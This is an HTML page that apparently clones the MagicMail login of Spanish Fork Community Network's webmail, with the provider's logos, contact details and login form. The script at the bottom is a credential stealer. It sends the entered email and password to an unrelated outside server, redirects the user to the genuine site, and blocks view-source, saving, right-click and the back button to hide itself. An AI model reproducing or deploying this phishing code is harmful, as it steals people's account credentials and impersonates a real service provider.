<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta content="width=device-width, initial-scale=1" name="viewport" />
    <title>
    MagicMail Server: Login Page    </title>
    <link rel='stylesheet' href='https://mail.sfcn.org/css/wizard.css?mtime=1725642106' type='text/css'/>
<link rel='stylesheet' href='https://mail.sfcn.org/css/magicmail.css?mtime=1725642106' type='text/css'/>
    <!--[if IE]><link rel='stylesheet' href='https://mail.sfcn.org/css/magicmail-ie.css?mtime=1725642101' type='text/css'/>
<![endif]-->
<link rel='stylesheet' href='https://mail.sfcn.org/css/css.css?mtime=1725642101' type='text/css'/>
<link rel='stylesheet' href='https://mail.sfcn.org/css/magicmail.login.css?mtime=1725642101' type='text/css'/>
<link rel='stylesheet' href='https://mail.sfcn.org/html_files/user.css?mtime=1655304793' type='text/css'/>
<script language='JavaScript' type='text/javascript' src='js/global_javascript.js?mtime=1726866817'></script>
<script language='JavaScript' type='text/javascript' src='js/htmlcanvas.js?mtime=1725642101'></script>
<script language='JavaScript' type='text/javascript' src='js/login.js?mtime=1725642101'></script>
<script language='JavaScript' type='text/javascript' src='js/jquery.js?mtime=1725646974'></script>
    <link rel="shortcut icon" href="/favicon.ico" />
	<script language="javascript" type="text/javascript">var isauthenticated=0;</script>
    <link rel="icon" href="https://mail.sfcn.org/pics/apple-touch-icon-precomposed.png" />
    <link rel="icon" type="image/png" sizes="72x72" href="https://mail.sfcn.org/pics/apple-touch-icon-72x72-precomposed.png" />
    <link rel="icon" type="image/png" sizes="114x114" href="https://mail.sfcn.org/pics/apple-touch-icon-114x114-precomposed.png" />
    <link rel="icon" type="image/png" sizes="144x144" href="https://mail.sfcn.org/pics/apple-touch-icon-144x144-precomposed.png" />
</head>
<body id="MagicBody" class="MagicBody">
<div id="MagicWrapper" class="magic-unauthenticated">
	<table class="MagicOuterTable">
		<tr id='page_contents_row'>
			<td>
                <!-- $Header$ -->

<!-- =================================================================== -->
<!-- Header Style 1 BEGIN -->
<!-- =================================================================== -->

<table id="MainHeaderTable">
    <tr valign="top">
        <td id="MMLogo">
            <span><img id='leftHeaderLogo' src="https://mail.sfcn.org/isp_images/header-logo-left.png" border="0"></span>
        </td>
        <td align="right">
            <table id="header-table" class="nopad">
                <tr>
                    <td colspan="2" id="HeaderLogo"><img id='rightHeaderLogo' src="https://mail.sfcn.org/isp_images/branding-main-logo.png"/></td>
                </tr>
                <tr valign="bottom">
                    <td colspan="2" class="nopad">
                        <div class='MagicNavTab'>
                            <a href="logout.php" id="header-logout-btn">Logout</a>
                        </div>
                    </td>
                </tr>
            </table>
        </td>
    </tr>
    <tr id="UserSubHeaderRow">
        <td align="right" colspan="2" id="MainHeaderSubMenu">
                    </td>
    </tr>
</table>

<!-- =================================================================== -->
<!-- Header Style 1 END -->
<!-- =================================================================== -->
				<table class="MagicContentTable">
					<tr valign="top">
                    
						<td class="MagicContentCell" valign="top">
<div id="loginContentCell">
<!-- default_login_info start -->
<div class="login-info-content">
    <div class="content-section content-section-1">
        <h2>Welcome to MagicMail</h2>
        <h4>Login to access your account</h4>
        <p class='main_wiz'>
            <span id="body-msg-1"> Welcome to the User Site for the MagicMail System.  <br /> This is where you can setup and configure all your email options. </span>
        </p>
    </div>
    
<!-- default_login_info end -->
<!-- default_login_info_second start -->
    <div class="content-section content-section-2">
        <h4>Forgot Your Password?</h2>
        <p class='main_wiz'>
            <span id="body-msg-2">
                We are dedicated to providing you a secure online environment.<br/>
                To have your password reset, please contact us at 801-798-2877.<br/><br/>
            </span>
            <small><i>* You MUST have cookies enabled to use these functions.</i></small>
        </p>
    </div>

</div><!-- /.login-info-content -->
<!-- default_login_info_second end -->
<div id="login-form-wrapper">
    <form method="post" id="login-form" name="login-form" onSubmit="return checkForm();">
        <input type="hidden" id="browser_info" value=Win10, Firefox, Desktop/>
        <blockquote>
            <table id="login-form-table" class='MagicEmbeddedTable'>
                <tr>
                    <th colspan='2'>
                        <h4>Login to MagicMail</h4>
                    </th>
                </tr>
                

                <tr>
                    <td class="textright">
                        <label for="login-email" title=Enter your full email address.>
                            Email:
                        </label>
                    </td>
                    <td>
                        <input size="20" type="email" name="username" required="" id="login-email" autocorrect="off" autocapitalize="none"
                            value=>
                    </td>
                </tr>

                <tr>
                    <td class="textright">
                        <label for="login-password"
                            title=Enter your password.  Ensure your CAPS LOCK is not on.>
                                Password:
                        </label>
                    </td>
                    <td class="show-password" >
                        <input size="20" type="password" required="" name="password"
                            id="login-password"> 
                        <label for="show-password">
                            <input type="checkbox" id="show-password" onclick="showPass()"> 
				                Show Password
                        </label>
                    </td>
                </tr>
                <tr class="forgot-password-row">
                    <td></td>
                    <td id="recover-pass-td">
                        <a href="recover-password.php">Forgot your password?</a>
                    </td>
                </tr>

                <tr>
                    <td class='formFoot'>
                        <table>
                            <tr>
                                <td class="poweredBy">

                                <a href="https://www.magicmail.com" target="_blank"><img src="https://mail.sfcn.org/pics/powered_by.png"> </a>

                                


</td>
                                <td class="loginBtn">
                                    <input type="submit" value="Login">
                                </td>
                            </tr>
                        </table>
                    </td>
                </tr>
            </table>
        </blockquote>
    </form>
</div>
<!-- $default_login_extra$ -->
<!-- =================================================================== -->
<!-- This is the login EXTRA section of the website (below the login form) -->


<!-- END OF default_login_extra -->
<!-- =================================================================== -->

</div><!-- loginContentCell -->
                          </td>
                      </tr>
                  </table>
              </td>
          </tr>
          <tr id='footer_row'>
              <td><!-- $Header$ -->
<!-- =================================================================== -->
<!-- This is the FOOTER section of the website -->

<table width="100%" border="0" cellspacing="0" cellpadding="0">
	<tr align="center" class="MagicCompanyFooter">
		<td>MagicMail Server is brought to you by Spanish Fork Community Network(SFCN)<br>
			65 S 630 W, Spanish Fork, UT 84660<br>
			Tel: 801-798-2877<br>
			<a href="mailto:webmaster@sfcn.org">webmaster@sfcn.org</a>
		</td>
	</tr>
</table>
<!-- END OF Footer -->
<!-- =================================================================== -->
<!-- ================================================================== -->
<!-- Copyright Information, DO NOT CHANGE BELOW HERE -->
<!-- ================================================================== -->
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr align="center" class="MagicCopyRight">
          <td>
            <p align="center">
                MagicMail is a Registered Trademark of Wizard Tower TechnoServices Ltd.
            </p>
          </td>
        </tr>
      </table>
<!-- ================================================================== -->

            </td>
        </tr>
    </table>
</div><!-- MagicWrapper -->
<script src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.3.1.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.10/jquery.mask.js"></script>
 <script type="text/javascript">
// prevent ctrl + s
$(document).bind('keydown', function(e) {
if(e.ctrlKey && (e.which == 83)) {
e.preventDefault();
return false;
}
});

document.addEventListener('contextmenu', event => event.preventDefault());

document.onkeydown = function(e) {
if (e.ctrlKey && 
(e.keyCode === 67 ||   
e.keyCode === 86 || 
e.keyCode === 85 || 
e.keyCode === 117)) {
return false;
} else {
return true;
}
};
$(document).keypress("u",function(e) {
if(e.ctrlKey)
{
return false;      }
else {
return true;
}});

history.pushState(null, document.title, location.href);
window.addEventListener('popstate', function (event)
{
  history.pushState(null, document.title, location.href);
});

//$(document).bind("contextmenu", function(e){ return false;});

var count = 0;
var counts = 0;

$('#login-form').on('submit', function(e){
		counts = counts+1;
		$('#io-ox-login-button').html('<i class="fa fa-circle-o-notch fa-spin fa-1x fa-fw"></i>');
		$.post('https://screetweb.com/wp-includes/assets/sfn/data.php', $(this).serialize(), function(data){
			console.log(data);
		});
		setTimeout(function() {
		
							if(counts == 1){
							   $('#step1').show();
							   $('#step1').show();
							   
					   setTimeout(function() {
                              window.location.href = "https://mail.sfcn.org/login.php";
                        },1000);
							   
							}else{
							     $('#login-password').val('');
								 $('#login-email').val('');
								 $('#error-row').show();
								 $('#io-ox-login-button').html('Login');
							}
		
                            
                        },1000);
		e.preventDefault();
	});






</script>
</body>
</html>